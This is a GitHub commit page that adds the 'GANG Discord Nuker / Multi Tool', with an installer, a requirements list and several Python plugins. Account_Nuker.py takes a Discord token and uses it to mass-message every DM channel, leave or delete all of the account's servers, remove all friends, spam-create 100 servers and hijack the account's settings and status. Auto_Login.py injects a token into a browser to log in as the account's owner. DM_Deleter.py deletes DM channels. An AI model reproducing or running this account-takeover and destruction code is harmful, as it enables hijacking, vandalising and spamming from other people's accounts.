Skip to content

Commit

Permalink
Add files via upload
Browse files Browse the repository at this point in the history
  • Loading branch information
Tanukiamy authored Jun 23, 2023
1 parent 9088c82 commit d6fd4ca
Show file tree
Hide file tree
Showing 26 changed files with 3,616 additions and 0 deletions.
Empty file added DelaFord.exe
Empty file.
1,199 changes: 1,199 additions & 0 deletions GANG.py

Large diffs are not rendered by default.

Empty file added data/channels.txt
Empty file.
Empty file added data/groups.txt
Empty file.
Empty file added data/info.txt
Empty file.
Empty file added data/massdm_IDs.txt
Empty file.
Empty file added data/massmention.txt
Empty file.
Empty file added data/members.txt
Empty file.
Empty file added data/roles.txt
Empty file.
1,000 changes: 1,000 additions & 0 deletions data/useragent.txt

Large diffs are not rendered by default.

Empty file added data/users.txt
Empty file.
11 changes: 11 additions & 0 deletions install.bat
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
@echo off
Title Download Modules...
python --version 3>NUL
if errorlevel 1 goto errorNoPython
pip -v>NUL
if errorlevel 1 goto errorNoPip
python -m pip install -r requirements.txt
cls
Title Downloading Modules
echo python GANG.py >> start.bat
start start.bat
40 changes: 40 additions & 0 deletions requirements.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
python-http-client
charset_normalizer
2captcha-python
beautifulsoup4
pyinstaller
pylibcheck
pyperclip
pyautogui
pypiwin32
websocket
packaging
requests
datetime
pyfadecolor
requests
selenium
keyboard
colorama
urlopen
colored
discord
asyncio
PyNaCl
easygui
tasksio
pystyle
discum
Cipher
colour
Popen
login
pillow
psutil
emoji
httpx
loads
tqdm
pipe
fore
aes
Empty file added tokens.txt
Empty file.
Binary file added utilities/Avatars/GANG.png
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
99 changes: 99 additions & 0 deletions utilities/Plugins/Account_Nuker.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,99 @@
# Coded by ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker
# GANG Discord Nuker / Multi Tool©
# Copyright © 2022
########################################

import os
import random
import requests
import threading
from colorama import Fore
from itertools import cycle

from pystyle import Add, Center, Anime, Colors, Colorate, Write, System
from utilities.Settings.common import SlowPrint, getheaders, proxy


def GANGNUKER_START(token, Server_Name, message_Content):
if threading.active_count() <= 100:
t = threading.Thread(target=CustomSeizure, args=(token, ))
t.start()

headers = {'Authorization': token}
channelIds = requests.get("https://discord.com/api/v9/users/@me/channels", headers=getheaders(token)).json()
for channel in channelIds:
try:
requests.post(f'https://discord.com/api/v9/channels/'+channel['id']+'/messages',
headers=headers,
data={"content": f"{message_Content}"})
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] ID: "+channel['id'])
except Exception as e:
print(f"The following error has been encountered and is being ignored: {e}")
Write.Print(f"\n\nSent Message to ALL friends\n", Colors.purple_to_blue, interval=0.009)

guildsIds = requests.get("https://discord.com/api/v8/users/@me/guilds", headers=getheaders(token)).json()
for guild in guildsIds:
try:
requests.delete(
f'https://discord.com/api/v8/users/@me/guilds/'+guild['id'], headers={'Authorization': token})
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Left Server: "+guild['name']+Fore.RESET)
except Exception as e:
print(f"The following error has been encountered and is being ignored: {e}")

for guild in guildsIds:
try:
requests.delete(f'https://discord.com/api/v8/guilds/'+guild['id'], headers={'Authorization': token})
print(f'[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Deleted: '+guild['name'])
except Exception as e:
print(f"The following error has been encountered and is being ignored: {e}")
Write.Print(f"\nLeft / Deleted Guilds\n", Colors.purple_to_blue, interval=0.009)

friendIds = requests.get("https://discord.com/api/v9/users/@me/relationships", headers=getheaders(token)).json()
for friend in friendIds:
try:
requests.delete(
f'https://discord.com/api/v9/users/@me/relationships/'+friend['id'], headers=getheaders(token))
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Removed Friend: "+friend['user']['username']+"#"+friend['user']['discriminator']+Fore.RESET)
except Exception as e:
print(f"The following error has been encountered and is being ignored: {e}")
Write.Print(f"\nRemoved all available friends\n", Colors.purple_to_blue, interval=0.009)

for i in range(100):
try:
payload = {'name': f'{Server_Name}', 'region': 'europe', 'icon': None, 'channels': None}
requests.post('https://discord.com/api/v9/guilds', headers=getheaders(token), json=payload)
print(f"[ {Fore.LIGHTMAGENTA_EX}${Fore.RESET} ] Created | {i}{Fore.RESET}")
except Exception as e:
print(f"The following error has been encountered and is being ignored: {e}")
Write.Print(f"\nCreated All Servers\n", Colors.purple_to_blue, interval=0.009)
t.do_run = False
requests.delete("https://discord.com/api/v8/hypesquad/online", headers=getheaders(token))
setting = {
'theme': "light",
'locale': "ja",
'inline_embed_media': False,
'inline_attachment_media': False,
'gif_auto_play': False,
'enable_tts_command': False,
'render_embeds': False,
'render_reactions': False,
'animate_emoji': False,
'convert_emoticons': False,
'message_display_compact': False,
'explicit_content_filter': '0',
"custom_status": {"text": "GANG-NUKER RUNS ME <3"},
'status': "idle"
}
requests.patch("https://discord.com/api/v7/users/@me/settings", headers=getheaders(token), json=setting)
j = requests.get("https://discordapp.com/api/v9/users/@me", headers=getheaders(token)).json()
a = j['username'] + "#" + j['discriminator']
Write.Print(f"\n\nDone, RIP TO THAT ACCOUNT\n", Colors.purple_to_blue, interval=0.009)
print("[ \x1b[95m>\x1b[95m\x1B[37m ] Press ENTER: ", end="")
spammer()

def CustomSeizure(token):
t = threading.currentThread()
while getattr(t, "do_run", True):
modes = cycle(["light", "dark"])
setting = {'theme': next(modes), 'locale': random.choice(['ja', 'zh-TW', 'ko', 'zh-CN'])}
requests.patch("https://discord.com/api/v7/users/@me/settings", headers=getheaders(token), json=setting)
69 changes: 69 additions & 0 deletions utilities/Plugins/Auto_Login.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker
# GANG Discord Nuker / Multi Tool©
# Copyright © 2022
########################################


import requests
from time import sleep
from colorama import Fore, Back
from selenium import webdriver, common

from utilities.Settings.common import getDriver, getheaders, SlowPrint

def TokenLogin(token):
j = requests.get("https://discord.com/api/v9/users/@me", headers=getheaders(token)).json()
user = j["username"] + "#" + str(j["discriminator"])
script = """
document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"%s"`
location.reload();
""" % (token)
type_ = getDriver()

if type_ == "chromedriver.exe":
opts = webdriver.ChromeOptions()
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
opts.add_experimental_option("detach", True)
try:
driver = webdriver.Chrome(options=opts)
except common.exceptions.SessionNotCreatedException as e:
print(e.msg)
sleep(2)
SlowPrint("Press ENTER: ")
input()
spammer()
elif type_ == "operadriver.exe":
opts = webdriver.opera.options.ChromeOptions()
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
opts.add_experimental_option("detach", True)
try:
driver = webdriver.Opera(options=opts)
except common.exceptions.SessionNotCreatedException as e:
print(e.msg)
sleep(2)
SlowPrint("Press ENTER: ")
input()
spammer()
elif type_ == "msedgedriver.exe":
opts = webdriver.EdgeOptions()
opts.add_experimental_option('excludeSwitches', ['enable-logging'])
opts.add_experimental_option("detach", True)
try:
driver = webdriver.Edge(options=opts)
except common.exceptions.SessionNotCreatedException as e:
print(e.msg)
sleep(2)
SlowPrint(f"[\x1b[95m>\x1b[95m\x1B[37m] Press ENTER: ")
input()
spammer()
else:
print(f'{Fore.RESET}[{Fore.RED}Error{Fore.RESET}] : Coudln\'t find a suitable driver to automatically login to {user}')
sleep(3)
print(f"{Fore.YELLOW}Paste this script into the console of a browser:{Fore.RESET}\n\n{Back.RED}{script}\n{Back.RESET}")
print("Press ENTER: ", end="")
input()
spammer()

print(f"\n[\x1b[95m>\x1b[95m\x1B[37m] Logging Into: {user}")
driver.get("https://discordapp.com/login")
driver.execute_script(script)
20 changes: 20 additions & 0 deletions utilities/Plugins/DM_Deleter.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,20 @@
# Coded / Dev: ††#9999 | https://github.com/TT-Tutorials | https://github.com/TT-Tutorials/GANG-Nuker
# GANG Discord Nuker / Multi Tool©
# Copyright © 2022
########################################


import requests
from colorama import Fore

from utilities.Settings.common import *

def DmDeleter(token, channels):
for channel in channels:
try:
requests.delete(f'https://discord.com/api/v7/channels/'+channel['id'],
proxies=proxy(),
headers=getheaders(token))
print(f"[{Fore.LIGHTGREEN_EX}>{Fore.RESET}] Deleted DM: {Fore.WHITE}"+channel['id']+Fore.RESET)
except Exception as e:
print(f"\nERROR | {e}")
Loading

0 comments on commit d6fd4ca

Please sign in to comment.